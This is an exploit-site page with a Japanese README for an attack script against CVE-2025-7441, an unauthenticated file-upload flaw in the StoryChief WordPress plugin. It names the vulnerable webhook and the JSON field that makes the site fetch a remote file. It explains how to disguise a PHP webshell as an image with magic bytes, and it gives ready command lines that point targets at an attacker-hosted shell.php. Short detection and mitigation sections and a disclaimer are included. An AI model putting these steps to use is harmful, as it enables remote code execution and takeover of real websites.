Sploitus

Exploit for CVE-2025-7441

kitploit · 2026-09-01

Exploit Code

MARKDOWN195 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NXPLOITED-CVE-2025-7441
# CVE-2025-7441

StoryChief <= 1.0.42 - 未認証の任意ファイルアップロード

# 🚨 StoryChief <= 1.0.42 — 未認証の任意ファイルアップロード (CVE-2025-7441)

## ℹ️ 概要

StoryChief(WordPressプラグイン)バージョン1.0.42以下は、RESTエンドポイント /wp-json/storychief/webhook を介して、重大な未認証の任意ファイルアップロードの脆弱性を露呈します。攻撃者は、プラグインに攻撃者制御のリモートリソース(例: ウェブシェル)を取得させ、サイトのアップロードディレクトリに保存させることができます。これにより、多くのデフォルトのWordPress環境でリモートコード実行が可能になります。

  * CVE: CVE-2025-7441
  * CVSS: 9.8(緊急)



* * *

## 💥 影響

  * リモートからの未認証ファイルアップロードが wp-content/uploads/YYYY/MM/ に行われる。
  * アップロードされたファイルが実行可能(例: PHP)な場合、リモートコード実行が発生する可能性がある。
  * WordPressがドキュメントルート配下でアップロードされたPHPを実行するように設定されている場合、サイト全体の乗っ取りが可能。



* * *

## 🧩 脆弱性の根本原因

このプラグインは、任意のURLを指す featured_image -> data -> sizes -> full フィールドを含む受信JSONペイロード(publishイベント)を受け入れます。StoryChiefは十分なファイルタイプ/コンテンツ検証を実行せず、URLの取得元も制限しないため、プラグインはリモートリソースを取得してサイトのアップロードディレクトリに保存することができます。実行可能なコードを含むファイルの保存を防ぐための検証も不十分です。

* * *

## 🛠️ エクスプロイトスクリプト — 機能(脆弱性との対応)

このセクションでは、エクスプロイトスクリプト(別途提供)を高レベルで説明し、各重要な動作を基礎となる脆弱性に対応付けます。

  * CLI引数解析 — ターゲットURL (-u/--url)、リモートシェルURL (-shell)、オプションのHMACキー、ヘッダー、プロキシ/タイムアウト/リトライフラグ、デバッグおよび表示のみのオプション。
  * ターゲット正規化 — サイトルートが指定された場合、/wp-json/storychief/webhook を追加します。
  * シェルURL検証 — リモートURLが到達可能かどうかを確認します(HEAD/GETまたはcurl)。
  * ファイル名抽出 — リモートURLのベース名を使用して、最終的なアップロードファイル名を推測します。
  * ペイロード構築 — 攻撃者制御のURLを data.featured_image.data.sizes.full に配置し、プラグインにファイルを取得・保存させます。
  * HMAC署名(オプション) — オプションの16進キーを使用して meta.mac(HMAC-SHA256)を計算します。一部のサーバーではこれを無視するか、必須とする場合があります。
  * 送信 — リトライ/バックオフ付きの requests、またはcurlフォールバックを使用します。カスタムヘッダー、プロキシ、--no-verify をサポートします。
  * レスポンス処理 — JSONレスポンスを解析して permalink/id キーを探し、成功を検出します。それ以外の場合は失敗を報告します。
  * 出力 — 成功時に期待されるアップロードパス wp-content/uploads/YYYY/MM/ を表示します。



* * *

## 🖼️ シェルファイルの要件(重要)

.php リモートファイル(例: https://attacker.example/shell.php)を使用する場合、プラグインまたは画像処理コードによって画像として扱われる/受け入れられるように、ファイルに有効な画像ヘッダー(マジックバイト)を含める必要があります。重要なポイント:

  * ポリグロット方式を使用する: ファイルは有効な画像マジックバイト(例: JPEG、PNG、GIF)で始まる必要があります。これにより、単純なチェックや画像ハンドラが受け入れる一方で、ディスク上にそのまま残るセクションにPHPペイロードも含めることができます。
  * 一般的な画像マジックバイト: 
    * JPEG: 0xFF 0xD8 0xFF
    * PNG: 0x89 0x50 0x4E 0x47
    * GIF: ASCII "GIF89a" または "GIF87a"
  * ファイル名/拡張子だけに依存しないでください。多くのプラグインはファイル内容を検査するか、画像の整合性を検証するライブラリ(GD、ImageMagick)を使用します。
  * 環境依存: 一部のサーバーは画像をさらに検証または再エンコードし、注入されたコードを除去する可能性があります。まず認可されたラボでテストしてください。
  * 倫理的注意: ここで動作するウェブシェルコードを公開しないでください。このようなファイルは認可された環境でのみ作成・テストしてください。



* * *

## ▶️ 実行方法(例)

プレースホルダーを認可されたターゲットに置き換えてください。以下の例はすべて .php のリモートシェルURLを使用しています。

  * 基本例:



root@kitploit:~
    
    
    python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
    

  * 明示的なwebhookパスとデバッグ:



root@kitploit:~
    
    
    python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
    

  * requests の代わりにcurlを使用:



root@kitploit:~
    
    
    python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
    

  * ペイロードのみを表示(送信しない):



root@kitploit:~
    
    
    python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only
    

重要なフラグ:

  * \--no-verify: TLS検証をスキップします(注意して使用してください)。
  * \--proxy: プロキシ経由でリクエストをルーティングします。
  * \--header "Key: Value": カスタムヘッダーを追加します。



* * *

## 📤 期待される出力

  * 成功時の実行: 
    * Uploaded: wp-content/uploads/2025/10/shell.php
  * デバッグ例: 
    * [DEBUG] shell HEAD status: 200
    * [DEBUG] post status: 200
    * [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
  * 失敗メッセージ: 
    * "[-] Error: shell URL is not reachable (not HTTP 200)"
    * "[-] Error: request failed"
    * "[-] Error: upload failed or endpoint returned non-JSON/HTML"



* * *

## 🔎 検出と侵害指標(IoC)

  * 未知のIPからの /wp-json/storychief/webhook への予期しないPOSTリクエスト。
  * wp-content/uploads/// 内の、埋め込みコードを含むPHP拡張子または画像拡張子を持つ新しいファイル。
  * 攻撃者制御のドメインへの送信GETの後に、アップロードされたファイルへのアクセスが続くことを示すWebサーバーログ。
  * 非画像コンテンツが追加または埋め込まれた不審な画像ファイル。



* * *

## 🛡️ 緩和策と是正

短期的対策:

  * 利用可能になったら、すぐにStoryChiefをパッチ適用済みバージョンにアップグレードしてください。
  * WAFまたはサーバールールで /wp-json/storychief/webhook をブロックまたは制限してください。
  * 信頼できないドメインへのサーバーの送信フェッチまたはエグレスを制限してください。



開発者向けガイドライン:

  * リモートフェッチ後は、ファイルタイプと内容を検証し、安全なパーサーを使用して画像を検証し、無効なファイルを拒否してください。
  * サーバーサイドのダウンロードやファイル作成を引き起こすwebhookには認証を要求してください。
  * HMAC/署名検証が実装され、強制されていることを確認してください。
  * アップロードされたコンテンツをウェブルート外に保存するか、wp-content/uploads 内のアップロードファイルの実行を無効にしてください(Webサーバールール)。



* * *

## ⚠️ 制限事項と注意点

  * エクスプロイトの成功は、サーバー構成、画像処理ライブラリ、Webサーバーの実行ポリシーに依存します。
  * 画像を再処理または再エンコードするサーバーは、注入されたペイロードを除去する可能性があります。
  * プラグインが署名を検証する場合、誤った mac を指定すると拒否される可能性があります。



* * *

## 🤝 責任ある使用

このドキュメントは、防御者と認可されたテスターを対象としています。自分が所有していないシステムや、テストする明示的な許可がないシステムに対してこれらの手法を使用しないでください。無断のエクスプロイトは違法かつ非倫理的です。

ベンダーまたはサイト所有者に問題を報告する場合は、再現手順、安全な是正手順、および推奨される修正を含めてください。

* * *

## 📚 参考情報とクレジット

  * 報告およびエクスプロイトスクリプト: Nxploited(Khaled Alenazi) — スクリプトファイル名: CVE-2025-7441.py(別途提供)
  * CVE: CVE-2025-7441
  * CVSS: 9.8